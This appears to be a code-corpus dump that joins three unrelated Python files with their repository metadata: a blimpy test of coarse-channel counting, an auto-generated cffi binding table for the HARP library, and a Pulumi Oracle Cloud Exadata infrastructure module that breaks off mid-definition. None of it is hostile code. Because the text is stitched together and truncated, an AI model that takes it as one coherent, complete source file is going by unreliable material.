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5c4816a50373b5a9cb88bfa6ad05fcdfa7df4547 | 3,495 | py | Python | tests/test_calc_n_coarse_chan.py | OwenJohnsons/blimpy | 314d3619e2d01332d58e1f1a06e999bea00352e8 | [
"BSD-3-Clause"
] | 36 | 2018-04-18T01:33:30.000Z | 2022-02-26T13:58:09.000Z | tests/test_calc_n_coarse_chan.py | OwenJohnsons/blimpy | 314d3619e2d01332d58e1f1a06e999bea00352e8 | [
"BSD-3-Clause"
] | 215 | 2017-03-22T22:09:35.000Z | 2022-03-30T20:44:58.000Z | tests/test_calc_n_coarse_chan.py | OwenJohnsons/blimpy | 314d3619e2d01332d58e1f1a06e999bea00352e8 | [
"BSD-3-Clause"
] | 93 | 2017-04-28T21:53:23.000Z | 2022-03-30T19:53:22.000Z | from blimpy import Waterfall
from tests.data import voyager_h5, test_ifs_fil
HIRES_THRESHOLD = 2**20
def test_ncc_chan_bw():
wf = Waterfall(voyager_h5)
print("test_bcc_chan_bw: telescope_id:", wf.header['telescope_id'])
print("test_ncc_chan_bw: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan(16)
print("test_ncc_chan_bw: n_coarse_chan [chan_bw=16]:", n_coarse_chan)
assert n_coarse_chan == 64
n_coarse_chan = wf.calc_n_coarse_chan(1)
print("test_ncc_chan_bw: n_coarse_chan [chan_bw=1]:", n_coarse_chan)
assert n_coarse_chan > 2.9 and n_coarse_chan < 3.0
def test_ncc_gbt():
wf = Waterfall(test_ifs_fil)
wf.header['telescope_id'] = 6
print("test_ncc_gbt: telescope_id:", wf.header['telescope_id'])
print("test_ncc_gbt: starting nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_gbt: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 64
wf.header['nchans'] = 3 * HIRES_THRESHOLD
print("\ntest_ncc_gbt: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_gbt: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 3
wf.header['nchans'] = HIRES_THRESHOLD
print("\ntest_ncc_gbt: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_gbt: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 1
wf.header['nchans'] = HIRES_THRESHOLD - 1
print("\ntest_ncc_gbt: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_gbt: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 64
wf.header['nchans'] = HIRES_THRESHOLD + 1
print("\ntest_ncc_gbt: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_gbt: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 64
def test_ncc_42():
wf = Waterfall(test_ifs_fil)
wf.header['telescope_id'] = 42
print("test_ncc_42: telescope_id:", wf.header['telescope_id'])
print("test_ncc_42: starting nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_42: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 64
wf.header['nchans'] = 3 * HIRES_THRESHOLD
print("\ntest_ncc_42: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_42: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 3
wf.header['nchans'] = HIRES_THRESHOLD
print("\ntest_ncc_42: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_42: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 1
wf.header['nchans'] = HIRES_THRESHOLD - 1
print("\ntest_ncc_42: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_42: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 64
wf.header['nchans'] = HIRES_THRESHOLD + 1
print("\ntest_ncc_42: nchans:", wf.header['nchans'])
n_coarse_chan = wf.calc_n_coarse_chan()
print("test_ncc_42: n_coarse_chan [chan_bw=None]:", n_coarse_chan)
assert n_coarse_chan == 64
if __name__ == "__main__":
wf = Waterfall(test_ifs_fil)
wf.info()
test_ncc_chan_bw()
test_ncc_gbt()
test_ncc_42()
| 35.663265 | 73 | 0.703004 | 565 | 3,495 | 3.904425 | 0.083186 | 0.193563 | 0.30417 | 0.070716 | 0.87942 | 0.8767 | 0.866274 | 0.853581 | 0.827289 | 0.733908 | 0 | 0.023184 | 0.160801 | 3,495 | 97 | 74 | 36.030928 | 0.728946 | 0 | 0 | 0.666667 | 0 | 0 | 0.298712 | 0 | 0 | 0 | 0 | 0 | 0.16 | 1 | 0.04 | false | 0 | 0.026667 | 0 | 0.066667 | 0.346667 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
30a21b45785974fc74f5473f9c614718d874b054 | 19,194 | py | Python | python/_harpc.py | schwehr/harp | 552e0558fae5cab8bfcc586870f11500cdb77426 | [
"BSD-3-Clause"
] | null | null | null | python/_harpc.py | schwehr/harp | 552e0558fae5cab8bfcc586870f11500cdb77426 | [
"BSD-3-Clause"
] | null | null | null | python/_harpc.py | schwehr/harp | 552e0558fae5cab8bfcc586870f11500cdb77426 | [
"BSD-3-Clause"
] | null | null | null | # auto-generated file
import _cffi_backend
ffi = _cffi_backend.FFI('_harpc',
_version = 0x2601,
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D\x23harp_product_append',0,b'\x00\x01\x02\x23harp_product_bin',0,b'\x00\x01\x08\x23harp_product_bin_spatial',0,b'\x00\x01\x2C\x23harp_product_copy',0,b'\x00\x01\x90\x23harp_product_delete',0,b'\x00\x00\xEE\x23harp_product_detach_variable',0,b'\x00\x00\x99\x23harp_product_execute_operations',0,b'\x00\x00\xCB\x23harp_product_flatten_dimension',0,b'\x00\x01\x19\x23harp_product_get_derived_variable',0,b'\x00\x00\xE1\x23harp_product_get_metadata',0,b'\x00\x00\x9D\x23harp_product_get_smoothed_column',0,b'\x00\x00\xA7\x23harp_product_get_smoothed_column_using_collocated_dataset',0,b'\x00\x00\xB2\x23harp_product_get_smoothed_column_using_collocated_product',0,b'\x00\x01\x22\x23harp_product_get_variable_by_name',0,b'\x00\x01\x27\x23harp_product_get_variable_index_by_name',0,b'\x00\x01\x15\x23harp_product_has_variable',0,b'\x00\x01\x12\x23harp_product_is_empty',0,b'\x00\x01\x99\x23harp_product_metadata_delete',0,b'\x00\x01\x34\x23harp_product_metadata_new',0,b'\x00\x01\x9C\x23harp_product_metadata_print',0,b'\x00\x00\x96\x23harp_product_new',0,b'\x00\x01\x93\x23harp_product_print',0,b'\x00\x00\xE9\x23harp_product_regrid_with_axis_variable',0,b'\x00\x00\xCF\x23harp_product_regrid_with_collocated_dataset',0,b'\x00\x00\xD6\x23harp_product_regrid_with_collocated_product',0,b'\x00\x00\xE5\x23harp_product_remove_variable',0,b'\x00\x00\x99\x23harp_product_remove_variable_by_name',0,b'\x00\x00\xE5\x23harp_product_replace_variable',0,b'\x00\x00\x99\x23harp_product_set_history',0,b'\x00\x00\x99\x23harp_product_set_source_product',0,b'\x00\x00\xF2\x23harp_product_smooth_vertical_with_collocated_dataset',0,b'\x00\x00\xFA\x23harp_product_smooth_vertical_with_collocated_product',0,b'\x00\x00\x99\x23harp_product_sort',0,b'\x00\x00\xC5\x23harp_product_update_history',0,b'\x00\x01\x12\x23harp_product_verify',0,b'\x00\x00\x14\x23harp_report_warning',0,b'\x00\x00\x11\x23harp_set_coda_definition_path',0,b'\x00\x00\x17\x23harp_set_coda_definition_path_conditional',0,b'\x00\x01\xAC\x23harp_set_error',0,b'\x00\x01\x6B\x23harp_set_option_enable_aux_afgl86',0,b'\x00\x01\x6B\x23harp_set_option_enable_aux_usstd76',0,b'\x00\x01\x6B\x23harp_set_option_hdf5_compression',0,b'\x00\x01\x6B\x23harp_set_option_regrid_out_of_bounds',0,b'\x00\x00\x11\x23harp_set_udunits2_xml_path',0,b'\x00\x00\x17\x23harp_set_udunits2_xml_path_conditional',0,b'\x00\x01\xB0\x23harp_str64',0,b'\x00\x01\xB4\x23harp_str64u',0,b'\xFF\xFF\xFF\x0Bharp_type_double',4,b'\xFF\xFF\xFF\x0Bharp_type_float',3,b'\xFF\xFF\xFF\x0Bharp_type_int16',1,b'\xFF\xFF\xFF\x0Bharp_type_int32',2,b'\xFF\xFF\xFF\x0Bharp_type_int8',0,b'\xFF\xFF\xFF\x0Bharp_type_string',5,b'\x00\x01\x45\x23harp_variable_append',0,b'\x00\x01\x3B\x23harp_variable_convert_data_type',0,b'\x00\x01\x37\x23harp_variable_convert_unit',0,b'\x00\x01\x5E\x23harp_variable_copy',0,b'\x00\x01\x62\x23harp_variable_copy_attributes',0,b'\x00\x01\xA0\x23harp_variable_delete',0,b'\x00\x01\x5A\x23harp_variable_has_dimension_type',0,b'\x00\x01\x66\x23harp_variable_has_dimension_types',0,b'\x00\x01\x56\x23harp_variable_has_unit',0,b'\x00\x00\x32\x23harp_variable_new',0,b'\x00\x01\xA7\x23harp_variable_print',0,b'\x00\x01\xA3\x23harp_variable_print_data',0,b'\x00\x01\x37\x23harp_variable_rename',0,b'\x00\x01\x37\x23harp_variable_set_description',0,b'\x00\x01\x49\x23harp_variable_set_enumeration_values',0,b'\x00\x01\x4E\x23harp_variable_set_string_data_element',0,b'\x00\x01\x37\x23harp_variable_set_unit',0,b'\x00\x01\x3F\x23harp_variable_smooth_vertical',0,b'\x00\x01\x53\x23harp_variable_verify',0,b'\x00\x00\x01\x21libharp_version',0),
_struct_unions = ((b'\x00\x00\x01\xBF\x00\x00\x00\x03harp_array_union',b'\x00\x01\xCB\x11int8_data',b'\x00\x01\xC8\x11int16_data',b'\x00\x00\x7E\x11int32_data',b'\x00\x01\xBD\x11float_data',b'\x00\x00\x30\x11double_data',b'\x00\x00\xC9\x11string_data',b'\x00\x01\xD3\x11ptr'),(b'\x00\x00\x01\xC2\x00\x00\x00\x02harp_collocation_pair_struct',b'\x00\x00\x2F\x11collocation_index',b'\x00\x00\x2F\x11product_index_a',b'\x00\x00\x2F\x11sample_index_a',b'\x00\x00\x2F\x11product_index_b',b'\x00\x00\x2F\x11sample_index_b',b'\x00\x00\x0A\x11num_differences',b'\x00\x00\x30\x11difference'),(b'\x00\x00\x01\xC3\x00\x00\x00\x02harp_collocation_result_struct',b'\x00\x00\x84\x11dataset_a',b'\x00\x00\x84\x11dataset_b',b'\x00\x00\x0A\x11num_differences',b'\x00\x00\xC9\x11difference_variable_name',b'\x00\x00\xC9\x11difference_unit',b'\x00\x00\x2F\x11num_pairs',b'\x00\x01\xC0\x11pair'),(b'\x00\x00\x01\xC4\x00\x00\x00\x02harp_dataset_struct',b'\x00\x01\xD1\x11product_to_index',b'\x00\x00\xC9\x11source_product',b'\x00\x00\x94\x11sorted_index',b'\x00\x00\x2F\x11num_products',b'\x00\x00\x2A\x11metadata'),(b'\x00\x00\x01\xC6\x00\x00\x00\x02harp_product_metadata_struct',b'\x00\x01\xB2\x11filename',b'\x00\x00\x4B\x11datetime_start',b'\x00\x00\x4B\x11datetime_stop',b'\x00\x01\xCD\x11dimension',b'\x00\x01\xB2\x11source_product'),(b'\x00\x00\x01\xC5\x00\x00\x00\x02harp_product_struct',b'\x00\x01\xCD\x11dimension',b'\x00\x00\x0A\x11num_variables',b'\x00\x00\x38\x11variable',b'\x00\x01\xB2\x11source_product',b'\x00\x01\xB2\x11history'),(b'\x00\x00\x00\x5E\x00\x00\x00\x03harp_scalar_union',b'\x00\x01\xCC\x11int8_data',b'\x00\x01\xC9\x11int16_data',b'\x00\x01\xCA\x11int32_data',b'\x00\x01\xBE\x11float_data',b'\x00\x00\x4B\x11double_data'),(b'\x00\x00\x01\xC7\x00\x00\x00\x02harp_variable_struct',b'\x00\x01\xB2\x11name',b'\x00\x00\x04\x11data_type',b'\x00\x00\x0A\x11num_dimensions',b'\x00\x01\xBB\x11dimension_type',b'\x00\x01\xCF\x11dimension',b'\x00\x00\x2F\x11num_elements',b'\x00\x01\xBF\x11data',b'\x00\x01\xB2\x11description',b'\x00\x01\xB2\x11unit',b'\x00\x00\x5E\x11valid_min',b'\x00\x00\x5E\x11valid_max',b'\x00\x00\x0A\x11num_enum_values',b'\x00\x00\xC9\x11enum_name'),(b'\x00\x00\x01\xD2\x00\x00\x00\x10hashtable_struct',)),
_enums = (b'\x00\x00\x00\x04\x00\x00\x00\x16harp_data_type_enum\x00harp_type_int8,harp_type_int16,harp_type_int32,harp_type_float,harp_type_double,harp_type_string',b'\x00\x00\x00\x07\x00\x00\x00\x15harp_dimension_type_enum\x00harp_dimension_independent,harp_dimension_time,harp_dimension_latitude,harp_dimension_longitude,harp_dimension_vertical,harp_dimension_spectral'),
_typenames = (b'\x00\x00\x01\xBFharp_array',b'\x00\x00\x01\xC2harp_collocation_pair',b'\x00\x00\x01\xC3harp_collocation_result',b'\x00\x00\x00\x04harp_data_type',b'\x00\x00\x01\xC4harp_dataset',b'\x00\x00\x00\x07harp_dimension_type',b'\x00\x00\x01\xC5harp_product',b'\x00\x00\x01\xC6harp_product_metadata',b'\x00\x00\x00\x5Eharp_scalar',b'\x00\x00\x01\xC7harp_variable'),
)
| 1,599.5 | 8,581 | 0.790872 | 4,080 | 19,194 | 3.549755 | 0.099265 | 0.283781 | 0.110612 | 0.073742 | 0.699717 | 0.607954 | 0.541946 | 0.435614 | 0.392322 | 0.384175 | 0 | 0.276251 | 0.002709 | 19,194 | 11 | 8,582 | 1,744.909091 | 0.480357 | 0.00099 | 0 | 0 | 1 | 0.333333 | 0.91342 | 0.907943 | 0 | 1 | 0.000313 | 0 | 0 | 1 | 0 | false | 0 | 0.222222 | 0 | 0.222222 | 0.111111 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
30d58d42cee1776a209a151858281b9def5f048b | 86,682 | py | Python | sdk/python/pulumi_oci/database/exadata_infrastructure.py | EladGabay/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 5 | 2021-08-17T11:14:46.000Z | 2021-12-31T02:07:03.000Z | sdk/python/pulumi_oci/database/exadata_infrastructure.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-09-06T11:21:29.000Z | 2021-09-06T11:21:29.000Z | sdk/python/pulumi_oci/database/exadata_infrastructure.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2021-08-24T23:31:30.000Z | 2022-01-02T19:26:54.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['ExadataInfrastructureArgs', 'ExadataInfrastructure']
@pulumi.input_type
class ExadataInfrastructureArgs:
def __init__(__self__, *,
admin_network_cidr: pulumi.Input[str],
cloud_control_plane_server1: pulumi.Input[str],
cloud_control_plane_server2: pulumi.Input[str],
compartment_id: pulumi.Input[str],
display_name: pulumi.Input[str],
dns_servers: pulumi.Input[Sequence[pulumi.Input[str]]],
gateway: pulumi.Input[str],
infini_band_network_cidr: pulumi.Input[str],
netmask: pulumi.Input[str],
ntp_servers: pulumi.Input[Sequence[pulumi.Input[str]]],
shape: pulumi.Input[str],
time_zone: pulumi.Input[str],
activation_file: Optional[pulumi.Input[str]] = None,
additional_storage_count: Optional[pulumi.Input[int]] = None,
compute_count: Optional[pulumi.Input[int]] = None,
contacts: Optional[pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]]] = None,
corporate_proxy: Optional[pulumi.Input[str]] = None,
create_async: Optional[pulumi.Input[bool]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
maintenance_window: Optional[pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs']] = None,
storage_count: Optional[pulumi.Input[int]] = None):
"""
The set of arguments for constructing a ExadataInfrastructure resource.
:param pulumi.Input[str] admin_network_cidr: (Updatable) The CIDR block for the Exadata administration network.
:param pulumi.Input[str] cloud_control_plane_server1: (Updatable) The IP address for the first control plane server.
:param pulumi.Input[str] cloud_control_plane_server2: (Updatable) The IP address for the second control plane server.
:param pulumi.Input[str] compartment_id: (Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
:param pulumi.Input[str] display_name: The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
:param pulumi.Input[Sequence[pulumi.Input[str]]] dns_servers: (Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[str] gateway: (Updatable) The gateway for the control plane network.
:param pulumi.Input[str] infini_band_network_cidr: (Updatable) The CIDR block for the Exadata InfiniBand interconnect.
:param pulumi.Input[str] netmask: (Updatable) The netmask for the control plane network.
:param pulumi.Input[Sequence[pulumi.Input[str]]] ntp_servers: (Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
:param pulumi.Input[str] shape: The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
:param pulumi.Input[str] time_zone: (Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
:param pulumi.Input[str] activation_file: (Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
:param pulumi.Input[int] additional_storage_count: The requested number of additional storage servers for the Exadata infrastructure.
:param pulumi.Input[int] compute_count: The number of compute servers for the Exadata infrastructure.
:param pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]] contacts: (Updatable) The list of contacts for the Exadata infrastructure.
:param pulumi.Input[str] corporate_proxy: (Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
:param pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs'] maintenance_window: (Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
:param pulumi.Input[int] storage_count: The number of storage servers for the Exadata infrastructure.
"""
pulumi.set(__self__, "admin_network_cidr", admin_network_cidr)
pulumi.set(__self__, "cloud_control_plane_server1", cloud_control_plane_server1)
pulumi.set(__self__, "cloud_control_plane_server2", cloud_control_plane_server2)
pulumi.set(__self__, "compartment_id", compartment_id)
pulumi.set(__self__, "display_name", display_name)
pulumi.set(__self__, "dns_servers", dns_servers)
pulumi.set(__self__, "gateway", gateway)
pulumi.set(__self__, "infini_band_network_cidr", infini_band_network_cidr)
pulumi.set(__self__, "netmask", netmask)
pulumi.set(__self__, "ntp_servers", ntp_servers)
pulumi.set(__self__, "shape", shape)
pulumi.set(__self__, "time_zone", time_zone)
if activation_file is not None:
pulumi.set(__self__, "activation_file", activation_file)
if additional_storage_count is not None:
pulumi.set(__self__, "additional_storage_count", additional_storage_count)
if compute_count is not None:
pulumi.set(__self__, "compute_count", compute_count)
if contacts is not None:
pulumi.set(__self__, "contacts", contacts)
if corporate_proxy is not None:
pulumi.set(__self__, "corporate_proxy", corporate_proxy)
if create_async is not None:
pulumi.set(__self__, "create_async", create_async)
if defined_tags is not None:
pulumi.set(__self__, "defined_tags", defined_tags)
if freeform_tags is not None:
pulumi.set(__self__, "freeform_tags", freeform_tags)
if maintenance_window is not None:
pulumi.set(__self__, "maintenance_window", maintenance_window)
if storage_count is not None:
pulumi.set(__self__, "storage_count", storage_count)
@property
@pulumi.getter(name="adminNetworkCidr")
def admin_network_cidr(self) -> pulumi.Input[str]:
"""
(Updatable) The CIDR block for the Exadata administration network.
"""
return pulumi.get(self, "admin_network_cidr")
@admin_network_cidr.setter
def admin_network_cidr(self, value: pulumi.Input[str]):
pulumi.set(self, "admin_network_cidr", value)
@property
@pulumi.getter(name="cloudControlPlaneServer1")
def cloud_control_plane_server1(self) -> pulumi.Input[str]:
"""
(Updatable) The IP address for the first control plane server.
"""
return pulumi.get(self, "cloud_control_plane_server1")
@cloud_control_plane_server1.setter
def cloud_control_plane_server1(self, value: pulumi.Input[str]):
pulumi.set(self, "cloud_control_plane_server1", value)
@property
@pulumi.getter(name="cloudControlPlaneServer2")
def cloud_control_plane_server2(self) -> pulumi.Input[str]:
"""
(Updatable) The IP address for the second control plane server.
"""
return pulumi.get(self, "cloud_control_plane_server2")
@cloud_control_plane_server2.setter
def cloud_control_plane_server2(self, value: pulumi.Input[str]):
pulumi.set(self, "cloud_control_plane_server2", value)
@property
@pulumi.getter(name="compartmentId")
def compartment_id(self) -> pulumi.Input[str]:
"""
(Updatable) The [OCID](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm) of the compartment.
"""
return pulumi.get(self, "compartment_id")
@compartment_id.setter
def compartment_id(self, value: pulumi.Input[str]):
pulumi.set(self, "compartment_id", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Input[str]:
"""
The user-friendly name for the Exadata infrastructure. The name does not need to be unique.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: pulumi.Input[str]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="dnsServers")
def dns_servers(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
(Updatable) The list of DNS server IP addresses. Maximum of 3 allowed.
"""
return pulumi.get(self, "dns_servers")
@dns_servers.setter
def dns_servers(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "dns_servers", value)
@property
@pulumi.getter
def gateway(self) -> pulumi.Input[str]:
"""
(Updatable) The gateway for the control plane network.
"""
return pulumi.get(self, "gateway")
@gateway.setter
def gateway(self, value: pulumi.Input[str]):
pulumi.set(self, "gateway", value)
@property
@pulumi.getter(name="infiniBandNetworkCidr")
def infini_band_network_cidr(self) -> pulumi.Input[str]:
"""
(Updatable) The CIDR block for the Exadata InfiniBand interconnect.
"""
return pulumi.get(self, "infini_band_network_cidr")
@infini_band_network_cidr.setter
def infini_band_network_cidr(self, value: pulumi.Input[str]):
pulumi.set(self, "infini_band_network_cidr", value)
@property
@pulumi.getter
def netmask(self) -> pulumi.Input[str]:
"""
(Updatable) The netmask for the control plane network.
"""
return pulumi.get(self, "netmask")
@netmask.setter
def netmask(self, value: pulumi.Input[str]):
pulumi.set(self, "netmask", value)
@property
@pulumi.getter(name="ntpServers")
def ntp_servers(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
(Updatable) The list of NTP server IP addresses. Maximum of 3 allowed.
"""
return pulumi.get(self, "ntp_servers")
@ntp_servers.setter
def ntp_servers(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "ntp_servers", value)
@property
@pulumi.getter
def shape(self) -> pulumi.Input[str]:
"""
The shape of the Exadata infrastructure. The shape determines the amount of CPU, storage, and memory resources allocated to the instance.
"""
return pulumi.get(self, "shape")
@shape.setter
def shape(self, value: pulumi.Input[str]):
pulumi.set(self, "shape", value)
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> pulumi.Input[str]:
"""
(Updatable) The time zone of the Exadata infrastructure. For details, see [Exadata Infrastructure Time Zones](https://docs.cloud.oracle.com/iaas/Content/Database/References/timezones.htm).
"""
return pulumi.get(self, "time_zone")
@time_zone.setter
def time_zone(self, value: pulumi.Input[str]):
pulumi.set(self, "time_zone", value)
@property
@pulumi.getter(name="activationFile")
def activation_file(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The activation zip file. If provided in config, exadata infrastructure will be activated after creation. Updates are not allowed on activated exadata infrastructure.
"""
return pulumi.get(self, "activation_file")
@activation_file.setter
def activation_file(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "activation_file", value)
@property
@pulumi.getter(name="additionalStorageCount")
def additional_storage_count(self) -> Optional[pulumi.Input[int]]:
"""
The requested number of additional storage servers for the Exadata infrastructure.
"""
return pulumi.get(self, "additional_storage_count")
@additional_storage_count.setter
def additional_storage_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "additional_storage_count", value)
@property
@pulumi.getter(name="computeCount")
def compute_count(self) -> Optional[pulumi.Input[int]]:
"""
The number of compute servers for the Exadata infrastructure.
"""
return pulumi.get(self, "compute_count")
@compute_count.setter
def compute_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "compute_count", value)
@property
@pulumi.getter
def contacts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]]]:
"""
(Updatable) The list of contacts for the Exadata infrastructure.
"""
return pulumi.get(self, "contacts")
@contacts.setter
def contacts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]]]):
pulumi.set(self, "contacts", value)
@property
@pulumi.getter(name="corporateProxy")
def corporate_proxy(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) The corporate network proxy for access to the control plane network. Oracle recommends using an HTTPS proxy when possible for enhanced security.
"""
return pulumi.get(self, "corporate_proxy")
@corporate_proxy.setter
def corporate_proxy(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "corporate_proxy", value)
@property
@pulumi.getter(name="createAsync")
def create_async(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "create_async")
@create_async.setter
def create_async(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "create_async", value)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm).
"""
return pulumi.get(self, "defined_tags")
@defined_tags.setter
def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "defined_tags", value)
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see [Resource Tags](https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). Example: `{"Department": "Finance"}`
"""
return pulumi.get(self, "freeform_tags")
@freeform_tags.setter
def freeform_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "freeform_tags", value)
@property
@pulumi.getter(name="maintenanceWindow")
def maintenance_window(self) -> Optional[pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs']]:
"""
(Updatable) The scheduling details for the quarterly maintenance window. Patching and system updates take place during the maintenance window.
"""
return pulumi.get(self, "maintenance_window")
@maintenance_window.setter
def maintenance_window(self, value: Optional[pulumi.Input['ExadataInfrastructureMaintenanceWindowArgs']]):
pulumi.set(self, "maintenance_window", value)
@property
@pulumi.getter(name="storageCount")
def storage_count(self) -> Optional[pulumi.Input[int]]:
"""
The number of storage servers for the Exadata infrastructure.
"""
return pulumi.get(self, "storage_count")
@storage_count.setter
def storage_count(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "storage_count", value)
@pulumi.input_type
class _ExadataInfrastructureState:
def __init__(__self__, *,
activated_storage_count: Optional[pulumi.Input[int]] = None,
activation_file: Optional[pulumi.Input[str]] = None,
additional_storage_count: Optional[pulumi.Input[int]] = None,
admin_network_cidr: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server1: Optional[pulumi.Input[str]] = None,
cloud_control_plane_server2: Optional[pulumi.Input[str]] = None,
compartment_id: Optional[pulumi.Input[str]] = None,
compute_count: Optional[pulumi.Input[int]] = None,
contacts: Optional[pulumi.Input[Sequence[pulumi.Input['ExadataInfrastructureContactArgs']]]] = None,
corporate_proxy: Optional[pulumi.Input[str]] = None,
cpus_enabled: Optional[pulumi.Input[int]] = None,
create_async: Optional[pulumi.Input[bool]] = None,
csi_number: Optional[pulumi.Input[str]] = None,
data_storage_size_in_tbs: Optional[pulumi.Input[float]] = None,
db_node_storage_size_in_gbs: Optional[pulumi.Input[int]] = None,
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
